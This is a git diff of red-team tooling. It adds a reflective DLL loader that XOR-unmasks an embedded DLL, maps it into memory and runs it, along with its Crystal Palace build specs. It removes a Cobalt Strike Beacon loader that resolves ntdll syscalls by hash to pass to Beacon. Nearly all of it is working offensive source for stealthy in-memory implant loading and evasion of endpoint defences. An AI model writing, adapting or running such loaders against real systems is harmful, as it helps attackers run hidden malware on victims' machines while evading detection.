char * dst = (char *)KERNEL32$VirtualAlloc(NULL, SizeOfDLL(&data), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
|
||||
LoadDLL(&data, src, dst);
|
||||
ProcessImports(&funcs, &data, dst);
|
||||
|
||||
RDATA_SECTION rdata;
|
||||
FixSectionPermissions(&data, dst, &rdata);
|
||||
|
||||
/* get the entry point */
|
||||
DLLMAIN_FUNC entryPoint = EntryPoint(&data, dst);
|
||||
|
||||
/* free the unmasked copy */
|
||||
KERNEL32$VirtualFree(src, 0, MEM_RELEASE);
|
||||
|
||||
/* call entry point */
|
||||
entryPoint((HINSTANCE)dst, DLL_PROCESS_ATTACH, &rdata);
|
||||
entryPoint((HINSTANCE)GETRESOURCE(go), 0x04, loaderArguments);
|
||||
}
|
||||
@@ -0,0 +1,19 @@
|
||||
CC=i686-w64-mingw32-gcc
|
||||
CC_64=x86_64-w64-mingw32-gcc
|
||||
CFLAGS=-fno-jump-tables -shared -Wall -Wno-pointer-arith
|
||||
|
||||
.PHONY: all x86 x64 clean
|
||||
|
||||
all: x86 x64
|
||||
|
||||
bin:
|
||||
mkdir -p bin
|
||||
|
||||
x86: bin
|
||||
$(CC) -DWIN_X86 $(CFLAGS) -c src/loader.c -o bin/loader.x86.o
|
||||
|
||||
x64: bin
|
||||
$(CC_64) -DWIN_X64 $(CFLAGS) -c src/loader.c -o bin/loader.x64.o
|
||||
|
||||
clean:
|
||||
rm -rf bin
|
||||
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,49 @@
|
||||
x86:
|
||||
generate $KEY 2048
|
||||
|
||||
load "bin/loader.x86.o"
|
||||
make pic +gofirst +optimize
|
||||
|
||||
fixptrs "_caller"
|
||||
|
||||
dfr "_resolve" "strings"
|
||||
|
||||
patch "_pGetModuleHandle" $GMH
|
||||
patch "_pGetProcAddress" $GPA
|
||||
|
||||
mergelib "../libtcg.x86.zip"
|
||||
|
||||
push $DLL
|
||||
xor $KEY
|
||||
preplen
|
||||
link "dll_data"
|
||||
|
||||
push $KEY
|
||||
preplen
|
||||
link "key_data"
|
||||
|
||||
export
|
||||
|
||||
x64:
|
||||
generate $KEY 2048
|
||||
|
||||
load "bin/loader.x64.o"
|
||||
make pic +gofirst +optimize
|
||||
|
||||
dfr "resolve" "strings"
|
||||
|
||||
patch "pGetModuleHandle" $GMH
|
||||
patch "pGetProcAddress" $GPA
|
||||
|
||||
mergelib "../libtcg.x64.zip"
|
||||
|
||||
push $DLL
|
||||
xor $KEY
|
||||
preplen
|
||||
link "dll_data"
|
||||
|
||||
push $KEY
|
||||
preplen
|
||||
link "key_data"
|
||||
|
||||
export
|
||||
@@ -0,0 +1,115 @@
|
||||
#include <windows.h>
|
||||
#include "tcg.h"
|
||||
#include "loader.h"
|
||||
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD );
|
||||
DECLSPEC_IMPORT LPVOID WINAPIV MSVCRT$malloc ( size_t );
|
||||
DECLSPEC_IMPORT void WINAPIV MSVCRT$free ( LPVOID );
|
||||
|
||||
__typeof__ ( GetModuleHandleA ) * pGetModuleHandle __attribute__ ( ( section ( ".text" ) ) );
|
||||
__typeof__ ( GetProcAddress ) * pGetProcAddress __attribute__ ( ( section ( ".text" ) ) );
|
||||
|
||||
char __DLLDATA__ [ 0 ] __attribute__ ( ( section ( "dll_data" ) ) );
|
||||
char __KEYDATA__ [ 0 ] __attribute__ ( ( section ( "key_data" ) ) );
|
||||
|
||||
FARPROC resolve ( char * mod_name, char * func_name )
|
||||
{
|
||||
HANDLE module = pGetModuleHandle ( mod_name );
|
||||
|
||||
if ( module == NULL ) {
|
||||
module = LoadLibraryA ( mod_name );
|
||||
}
|
||||
|
||||
return pGetProcAddress ( module, func_name );
|
||||
}
|
||||
|
||||
#ifdef WIN_X86
|
||||
__declspec ( noinline ) ULONG_PTR caller ( VOID ) { return ( ULONG_PTR ) WIN_GET_CALLER ( ); }
|
||||
#endif
|
||||
|
||||
void go ( LPVOID arguments )
|
||||
{
|
||||
RESOURCE * masked_dll = ( RESOURCE * ) GETRESOURCE ( __DLLDATA__ );
|
||||
RESOURCE * xor_key = ( RESOURCE * ) GETRESOURCE ( __KEYDATA__ );
|
||||
|
||||
char * dll_src = MSVCRT$malloc ( masked_dll->length );
|
||||
|
||||
for ( size_t i = 0; i < masked_dll->length; i++ ) {
|
||||
dll_src [ i ] = masked_dll->value [ i ] ^ xor_key->value [ i % xor_key->length ];
|
||||
}
|
||||
|
||||
DLLDATA dll_data;
|
||||
ParseDLL ( dll_src, &dll_data );
|
||||
|
||||
char * dll_dst = KERNEL32$VirtualAlloc ( NULL, SizeOfDLL ( &dll_data ), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE );
|
||||
LoadDLL ( &dll_data, dll_src, dll_dst );
|
||||
|
||||
IMPORTFUNCS funcs;
|
||||
funcs.GetProcAddress = GetProcAddress;
|
||||
funcs.LoadLibraryA = LoadLibraryA;
|
||||
|
||||
ProcessImports ( &funcs, &dll_data, dll_dst );
|
||||
|
||||
RDATA_SECTION rdata;
|
||||
memset ( &rdata, 0, sizeof ( RDATA_SECTION ) );
|
||||
|
||||
fix_section_permissions ( &dll_data, dll_dst, &rdata );
|
||||
|
||||
DLLMAIN_FUNC dll_main = EntryPoint ( &dll_data, dll_dst );
|
||||
|
||||
MSVCRT$free ( dll_src );
|
||||
|
||||
dll_main ( ( HINSTANCE ) dll_dst, DLL_PROCESS_ATTACH, NULL );
|
||||
dll_main ( ( HINSTANCE ) &go, 4, arguments );
|
||||
}
|
||||
|
||||
void fix_section_permissions ( DLLDATA * dll_data, char * dll_dst, RDATA_SECTION * rdata )
|
||||
{
|
||||
DWORD section_count = dll_data->NtHeaders->FileHeader.NumberOfSections;
|
||||
IMAGE_SECTION_HEADER * section_hdr = ( IMAGE_SECTION_HEADER * ) PTR_OFFSET ( dll_data->OptionalHeader, dll_data->NtHeaders->FileHeader.SizeOfOptionalHeader );
|
||||
|
||||
for ( size_t i = 0; i < section_count; i++ )
|
||||
{
|
||||
void * section_dst = dll_dst + section_hdr->VirtualAddress;
|
||||
DWORD section_size = section_hdr->SizeOfRawData;
|
||||
|
||||
DWORD new_protect;
|
||||
DWORD old_protect;
|
||||
|
||||
if ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) {
|
||||
new_protect = PAGE_WRITECOPY;
|
||||
}
|
||||
if ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) {
|
||||
new_protect = PAGE_READONLY;
|
||||
}
|
||||
if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) ) {
|
||||
new_protect = PAGE_READWRITE;
|
||||
}
|
||||
if ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) {
|
||||
new_protect = PAGE_EXECUTE;
|
||||
}
|
||||
if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) ) {
|
||||
new_protect = PAGE_EXECUTE_WRITECOPY;
|
||||
}
|
||||
if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) ) {
|
||||
new_protect = PAGE_EXECUTE_READ;
|
||||
}
|
||||
if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) ) {
|
||||
new_protect = PAGE_EXECUTE_READWRITE;
|
||||
}
|
||||
|
||||
KERNEL32$VirtualProtect ( section_dst, section_size, new_protect, &old_protect );
|
||||
|
||||
DWORD hash = ror13hash ( ( const char * ) section_hdr->Name );
|
||||
|
||||
if ( hash == 0xcba738b8 )
|
||||
{
|
||||
rdata->start = section_dst;
|
||||
rdata->length = section_size;
|
||||
rdata->offset = dll_data->NtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].Size;
|
||||
}
|
||||
|
||||
section_hdr++;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
#define GETRESOURCE(x) ( char * ) &x
|
||||
|
||||
#define memset(x, y, z) __stosb ( ( unsigned char * ) x, y, z );
|
||||
|
||||
typedef struct {
|
||||
int length;
|
||||
char value [ ];
|
||||
} RESOURCE;
|
||||
|
||||
typedef struct {
|
||||
char* start; // The start address of the .rdata section
|
||||
DWORD length; // The length (Size of Raw Data) of the .rdata section
|
||||
DWORD offset; // The obfuscation start offset
|
||||
} RDATA_SECTION, *PRDATA_SECTION;
|
||||
|
||||
void go ( );
|
||||
void fix_section_permissions ( DLLDATA * dll_data, char * dll_dst, RDATA_SECTION * rdata );
|
||||
@@ -0,0 +1,102 @@
|
||||
/*
|
||||
* Copyright 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without modification, are
|
||||
* permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this list of
|
||||
* conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
* conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
* with the distribution.
|
||||
*
|
||||
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
|
||||
* endorse or promote products derived from this software without specific prior written
|
||||
* permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
|
||||
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
|
||||
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
// used by both the Pico Loader and DLL loader
|
||||
typedef struct {
|
||||
__typeof__(LoadLibraryA) * LoadLibraryA;
|
||||
__typeof__(GetProcAddress) * GetProcAddress;
|
||||
} IMPORTFUNCS;
|
||||
|
||||
// linker intrinsic to map a function hash to a hook registered via Crystal Palace
|
||||
FARPROC __resolve_hook(DWORD funcHash);
|
||||
|
||||
/*
|
||||
* Structs used by our DLL loader
|
||||
*/
|
||||
|
||||
#define PTR_OFFSET(x, y) ( (void *)(x) + (ULONG)(y) )
|
||||
#define DEREF( name )*(UINT_PTR *)(name)
|
||||
|
||||
typedef struct {
|
||||
IMAGE_DOS_HEADER * DosHeader;
|
||||
IMAGE_NT_HEADERS * NtHeaders;
|
||||
IMAGE_OPTIONAL_HEADER * OptionalHeader;
|
||||
} DLLDATA;
|
||||
|
||||
/*
|
||||
* utility functions
|
||||
*/
|
||||
DWORD adler32sum(unsigned char * buffer, DWORD length);
|
||||
DWORD ror13hash(const char * c);
|
||||
|
||||
/*
|
||||
* printf-style debugging.
|
||||
*/
|
||||
void dprintf(char * format, ...);
|
||||
|
||||
/*
|
||||
* PICO running functions
|
||||
*/
|
||||
typedef void (*PICOMAIN_FUNC)(char * arg);
|
||||
|
||||
PICOMAIN_FUNC PicoGetExport(char * src, char * base, int tag);
|
||||
PICOMAIN_FUNC PicoEntryPoint(char * src, char * base);
|
||||
int PicoCodeSize(char * src);
|
||||
int PicoDataSize(char * src);
|
||||
void PicoLoad(IMPORTFUNCS * funcs, char * src, char * dstCode, char * dstData);
|
||||
|
||||
/*
|
||||
* Resolve functions by walking the export address table
|
||||
*/
|
||||
FARPROC findFunctionByHash(HANDLE hModule, DWORD wantedFunctionHash);
|
||||
HANDLE findModuleByHash(DWORD moduleHash);
|
||||
|
||||
/*
|
||||
* DLL parsing and loading functions
|
||||
*/
|
||||
typedef BOOL WINAPI (*DLLMAIN_FUNC)(HINSTANCE, DWORD, LPVOID);
|
||||
|
||||
DLLMAIN_FUNC EntryPoint(DLLDATA * dll, void * base);
|
||||
IMAGE_DATA_DIRECTORY * GetDataDirectory(DLLDATA * dll, UINT entry);
|
||||
void LoadDLL(DLLDATA * dll, char * src, char * dst);
|
||||
void LoadSections(DLLDATA * dll, char * src, char * dst);
|
||||
void ParseDLL(char * src, DLLDATA * data);
|
||||
void ProcessImports(IMPORTFUNCS * funcs, DLLDATA * dll, char * dst);
|
||||
void ProcessRelocations(DLLDATA * dll, char * src, char * dst);
|
||||
DWORD SizeOfDLL(DLLDATA * data);
|
||||
|
||||
/*
|
||||
* A macro to figure out our caller
|
||||
* https://github.com/rapid7/ReflectiveDLLInjection/blob/81cde88bebaa9fe782391712518903b5923470fb/dll/src/ReflectiveLoader.c#L34C1-L46C1
|
||||
*/
|
||||
#ifdef __MINGW32__
|
||||
#define WIN_GET_CALLER() __builtin_extract_return_addr(__builtin_return_address(0))
|
||||
#else
|
||||
#pragma intrinsic(_ReturnAddress)
|
||||
#define WIN_GET_CALLER() _ReturnAddress()
|
||||
#endif
|
||||
@@ -1,12 +0,0 @@
|
||||
CC_64 = x86_64-w64-mingw32-gcc
|
||||
|
||||
all: bin/loader.x64.o
|
||||
|
||||
bin:
|
||||
mkdir bin
|
||||
|
||||
bin/loader.x64.o: bin
|
||||
$(CC_64) -DWIN_X64 -shared -masm=intel -Wall -Wno-pointer-arith -c src/loader.c -o bin/loader.x64.o
|
||||
|
||||
clean:
|
||||
rm -f bin/*
|
||||
@@ -1,14 +0,0 @@
|
||||
# BUD Loader
|
||||
|
||||
This loader is used when the BEACON_RDLL_GENERATE hook is called,
|
||||
i.e. when a new Beacon payload is generated.
|
||||
|
||||
This loader passes Beacon's memory allocation information to Beacon
|
||||
via Beacon User Data (BUD). It also uses a port of [LibGate](https://github.com/rasta-mouse/LibGate) to
|
||||
resolve and pass syscall information to Beacon.
|
||||
|
||||
Beacon is masked with a random XOR key and unmasked at runtime.
|
||||
|
||||
## Notes
|
||||
|
||||
1. It's expected that Beacon will free the loader (`stage.cleanup`).
|
||||
Binary file not shown.
@@ -1,23 +0,0 @@
|
||||
name "Beacon BUD Loader"
|
||||
describe "PIC loader to pass memory allocation information via Beacon User Data"
|
||||
author "Daniel Duggan (@_RastaMouse)"
|
||||
|
||||
x64:
|
||||
load "bin/loader.x64.o"
|
||||
make pic +gofirst +optimize +disco
|
||||
dfr "resolve" "ror13"
|
||||
mergelib "../libgate.x64.zip"
|
||||
mergelib "../libtcg.x64.zip"
|
||||
|
||||
generate $KEY 128
|
||||
|
||||
push $DLL
|
||||
xor $KEY
|
||||
preplen
|
||||
link "dll"
|
||||
|
||||
push $KEY
|
||||
preplen
|
||||
link "key"
|
||||
|
||||
export
|
||||
@@ -1,170 +0,0 @@
|
||||
/*
|
||||
* From https://raw.githubusercontent.com/Cobalt-Strike/bof-vs/refs/heads/main/BOF-Template/beacon.h
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
typedef enum {
|
||||
PURPOSE_EMPTY,
|
||||
PURPOSE_GENERIC_BUFFER,
|
||||
PURPOSE_BEACON_MEMORY,
|
||||
PURPOSE_SLEEPMASK_MEMORY,
|
||||
PURPOSE_BOF_MEMORY,
|
||||
PURPOSE_USER_DEFINED_MEMORY = 1000
|
||||
} ALLOCATED_MEMORY_PURPOSE;
|
||||
|
||||
typedef enum {
|
||||
LABEL_EMPTY,
|
||||
LABEL_BUFFER,
|
||||
LABEL_PEHEADER,
|
||||
LABEL_TEXT,
|
||||
LABEL_RDATA,
|
||||
LABEL_DATA,
|
||||
LABEL_PDATA,
|
||||
LABEL_RELOC,
|
||||
LABEL_USER_DEFINED = 1000
|
||||
} ALLOCATED_MEMORY_LABEL;
|
||||
|
||||
typedef enum {
|
||||
METHOD_UNKNOWN,
|
||||
METHOD_VIRTUALALLOC,
|
||||
METHOD_HEAPALLOC,
|
||||
METHOD_MODULESTOMP,
|
||||
METHOD_NTMAPVIEW,
|
||||
METHOD_USER_DEFINED = 1000,
|
||||
} ALLOCATED_MEMORY_ALLOCATION_METHOD;
|
||||
|
||||
typedef struct _HEAPALLOC_INFO {
|
||||
PVOID HeapHandle;
|
||||
BOOL DestroyHeap;
|
||||
} HEAPALLOC_INFO, *PHEAPALLOC_INFO;
|
||||
|
||||
typedef struct _MODULESTOMP_INFO {
|
||||
HMODULE ModuleHandle;
|
||||
} MODULESTOMP_INFO, *PMODULESTOMP_INFO;
|
||||
|
||||
typedef union _ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION {
|
||||
HEAPALLOC_INFO HeapAllocInfo;
|
||||
MODULESTOMP_INFO ModuleStompInfo;
|
||||
PVOID Custom;
|
||||
} ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION;
|
||||
|
||||
typedef struct _ALLOCATED_MEMORY_CLEANUP_INFORMATION {
|
||||
BOOL Cleanup;
|
||||
ALLOCATED_MEMORY_ALLOCATION_METHOD AllocationMethod;
|
||||
ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION AdditionalCleanupInformation;
|
||||
} ALLOCATED_MEMORY_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_CLEANUP_INFORMATION;
|
||||
|
||||
typedef struct _ALLOCATED_MEMORY_SECTION {
|
||||
ALLOCATED_MEMORY_LABEL Label; // A label to simplify Sleepmask development
|
||||
PVOID BaseAddress; // Pointer to virtual address of section
|
||||
SIZE_T VirtualSize; // Virtual size of the section
|
||||
DWORD CurrentProtect; // Current memory protection of the section
|
||||
DWORD PreviousProtect; // The previous memory protection of the section (prior to masking/unmasking)
|
||||
BOOL MaskSection; // A boolean to indicate whether the section should be masked
|
||||
} ALLOCATED_MEMORY_SECTION, *PALLOCATED_MEMORY_SECTION;
|
||||
|
||||
typedef struct _ALLOCATED_MEMORY_REGION {
|
||||
ALLOCATED_MEMORY_PURPOSE Purpose; // A label to indicate the purpose of the allocated memory
|
||||
PVOID AllocationBase; // The base address of the allocated memory block
|
||||
SIZE_T RegionSize; // The size of the allocated memory block
|
||||
DWORD Type; // The type of memory allocated
|
||||
ALLOCATED_MEMORY_SECTION Sections[8]; // An array of section information structures
|
||||
ALLOCATED_MEMORY_CLEANUP_INFORMATION CleanupInformation; // Information required to cleanup the allocation
|
||||
} ALLOCATED_MEMORY_REGION, *PALLOCATED_MEMORY_REGION;
|
||||
|
||||
typedef struct {
|
||||
ALLOCATED_MEMORY_REGION AllocatedMemoryRegions[6];
|
||||
} ALLOCATED_MEMORY, *PALLOCATED_MEMORY;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
PVOID fnAddr;
|
||||
PVOID jmpAddr;
|
||||
DWORD sysnum;
|
||||
} SYSCALL_API_ENTRY, *PSYSCALL_API_ENTRY;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
SYSCALL_API_ENTRY ntAllocateVirtualMemory;
|
||||
SYSCALL_API_ENTRY ntProtectVirtualMemory;
|
||||
SYSCALL_API_ENTRY ntFreeVirtualMemory;
|
||||
SYSCALL_API_ENTRY ntGetContextThread;
|
||||
SYSCALL_API_ENTRY ntSetContextThread;
|
||||
SYSCALL_API_ENTRY ntResumeThread;
|
||||
SYSCALL_API_ENTRY ntCreateThreadEx;
|
||||
SYSCALL_API_ENTRY ntOpenProcess;
|
||||
SYSCALL_API_ENTRY ntOpenThread;
|
||||
SYSCALL_API_ENTRY ntClose;
|
||||
SYSCALL_API_ENTRY ntCreateSection;
|
||||
SYSCALL_API_ENTRY ntMapViewOfSection;
|
||||
SYSCALL_API_ENTRY ntUnmapViewOfSection;
|
||||
SYSCALL_API_ENTRY ntQueryVirtualMemory;
|
||||
SYSCALL_API_ENTRY ntDuplicateObject;
|
||||
SYSCALL_API_ENTRY ntReadVirtualMemory;
|
||||
SYSCALL_API_ENTRY ntWriteVirtualMemory;
|
||||
SYSCALL_API_ENTRY ntReadFile;
|
||||
SYSCALL_API_ENTRY ntWriteFile;
|
||||
SYSCALL_API_ENTRY ntCreateFile;
|
||||
SYSCALL_API_ENTRY ntQueueApcThread;
|
||||
SYSCALL_API_ENTRY ntCreateProcess;
|
||||
SYSCALL_API_ENTRY ntOpenProcessToken;
|
||||
SYSCALL_API_ENTRY ntTestAlert;
|
||||
SYSCALL_API_ENTRY ntSuspendProcess;
|
||||
SYSCALL_API_ENTRY ntResumeProcess;
|
||||
SYSCALL_API_ENTRY ntQuerySystemInformation;
|
||||
SYSCALL_API_ENTRY ntQueryDirectoryFile;
|
||||
SYSCALL_API_ENTRY ntSetInformationProcess;
|
||||
SYSCALL_API_ENTRY ntSetInformationThread;
|
||||
SYSCALL_API_ENTRY ntQueryInformationProcess;
|
||||
SYSCALL_API_ENTRY ntQueryInformationThread;
|
||||
SYSCALL_API_ENTRY ntOpenSection;
|
||||
SYSCALL_API_ENTRY ntAdjustPrivilegesToken;
|
||||
SYSCALL_API_ENTRY ntDeviceIoControlFile;
|
||||
SYSCALL_API_ENTRY ntWaitForMultipleObjects;
|
||||
} SYSCALL_API, *PSYSCALL_API;
|
||||
|
||||
/* Additional Run Time Library (RTL) addresses used to support system calls.
|
||||
* If they are not set then system calls that require them will fall back
|
||||
* to the Standard Windows API.
|
||||
*
|
||||
* Required to support the following system calls:
|
||||
* ntCreateFile
|
||||
*/
|
||||
typedef struct
|
||||
{
|
||||
PVOID rtlDosPathNameToNtPathNameUWithStatusAddr;
|
||||
PVOID rtlFreeHeapAddr;
|
||||
PVOID rtlGetProcessHeapAddr;
|
||||
} RTL_API, *PRTL_API;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
SYSCALL_API syscalls;
|
||||
RTL_API rtls;
|
||||
} BEACON_SYSCALLS, *PBEACON_SYSCALLS;
|
||||
|
||||
/* Beacon User Data
|
||||
*
|
||||
* version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch
|
||||
* e.g. 0x040900 -> CS 4.9
|
||||
* 0x041000 -> CS 4.10
|
||||
*/
|
||||
|
||||
#define COBALT_STRIKE_VERSION 0x041100
|
||||
#define BOF_MEMORY_SIZE 0x10000
|
||||
#define SLEEPMASK_MEMORY_SIZE 0x10000
|
||||
|
||||
#define DLL_BEACON_START 0x04
|
||||
#define DLL_BEACON_USER_DATA 0x0d
|
||||
|
||||
#define BEACON_USER_DATA_CUSTOM_SIZE 32
|
||||
|
||||
typedef struct
|
||||
{
|
||||
unsigned int version;
|
||||
PSYSCALL_API syscalls;
|
||||
char custom[BEACON_USER_DATA_CUSTOM_SIZE];
|
||||
PRTL_API rtls;
|
||||
PALLOCATED_MEMORY allocatedMemory;
|
||||
} USER_DATA, * PUSER_DATA;
|
||||
@@ -1,10 +0,0 @@
|
||||
#include <windows.h>
|
||||
|
||||
typedef struct {
|
||||
DWORD ssn;
|
||||
PVOID jmpAddr;
|
||||
} SYSCALL_GATE;
|
||||
|
||||
BOOL GetSyscall (PVOID ntdll, PVOID func, SYSCALL_GATE * gate);
|
||||
void PrepareSyscall (DWORD ssn, PVOID addr);
|
||||
void DoSyscall ();
|
||||
@@ -1,295 +0,0 @@
|
||||
/*
|
||||
* Copyright 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without modification, are
|
||||
* permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this list of
|
||||
* conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
* conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
* with the distribution.
|
||||
*
|
||||
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
|
||||
* endorse or promote products derived from this software without specific prior written
|
||||
* permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
|
||||
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
|
||||
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
#include "beacon.h"
|
||||
#include "gate.h"
|
||||
#include "tcg.h"
|
||||
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc (LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect (LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree (LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
|
||||
DECLSPEC_IMPORT int WINAPIV MSVCRT$strncmp (const char * string1, const char * string2, size_t count);
|
||||
|
||||
#define NTDLL_HASH 0x3CFA685D
|
||||
|
||||
#define memset(x, y, z) __stosb((unsigned char *)x, y, z);
|
||||
|
||||
#define GETRESOURCE(x) (char *)&x
|
||||
|
||||
char _DLL_[0] __attribute__((section("dll")));
|
||||
char _KEY_[0] __attribute__((section("key")));
|
||||
|
||||
typedef struct {
|
||||
int length;
|
||||
char value[];
|
||||
} RESOURCE;
|
||||
|
||||
typedef struct _PEB_LDR_DATA {
|
||||
DWORD dwLength;
|
||||
DWORD dwInitialized;
|
||||
LPVOID lpSsHandle;
|
||||
LIST_ENTRY InLoadOrderModuleList;
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
LPVOID lpEntryInProgress;
|
||||
} PEB_LDR_DATA, * PPEB_LDR_DATA;
|
||||
|
||||
typedef struct __PEB {
|
||||
BYTE bInheritedAddressSpace;
|
||||
BYTE bReadImageFileExecOptions;
|
||||
BYTE bBeingDebugged;
|
||||
BYTE bSpareBool;
|
||||
LPVOID lpMutant;
|
||||
LPVOID lpImageBaseAddress;
|
||||
PPEB_LDR_DATA pLdr;
|
||||
LPVOID lpProcessParameters;
|
||||
LPVOID lpSubSystemData;
|
||||
LPVOID lpProcessHeap;
|
||||
} _PEB, * _PPEB;
|
||||
|
||||
char * resolve(DWORD modHash, DWORD funcHash) {
|
||||
char * hModule = (char *)findModuleByHash(modHash);
|
||||
return findFunctionByHash(hModule, funcHash);
|
||||
}
|
||||
|
||||
void ResolveSyscallEntry(PVOID ntdll, PVOID func, SYSCALL_API_ENTRY * entry)
|
||||
{
|
||||
SYSCALL_GATE gate;
|
||||
memset(&gate, 0, sizeof(SYSCALL_GATE));
|
||||
|
||||
if (GetSyscall(ntdll, func, &gate))
|
||||
{
|
||||
entry->fnAddr = func;
|
||||
entry->sysnum = gate.ssn;
|
||||
entry->jmpAddr = gate.jmpAddr;
|
||||
}
|
||||
}
|
||||
|
||||
void ResolveSyscalls(SYSCALL_API * syscalls)
|
||||
{
|
||||
char * ntdll = findModuleByHash(NTDLL_HASH);
|
||||
|
||||
/* get all the supported Nt functions */
|
||||
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xD33BCABD), &syscalls->ntAllocateVirtualMemory);
|
||||
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x8C394D89), &syscalls->ntProtectVirtualMemory);
|
||||
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xDB63B5AB), &syscalls->ntFreeVirtualMemory);
|
||||
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xE935E393), &syscalls->ntGetContextThread);
|
||||
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x6935E395), &syscalls->ntSetContextThread);
|
||||
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xC54A46C8), &syscalls->ntResumeThread);
|
||||
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x4D1DEB74), &syscalls->ntCreateThreadEx);
|
||||
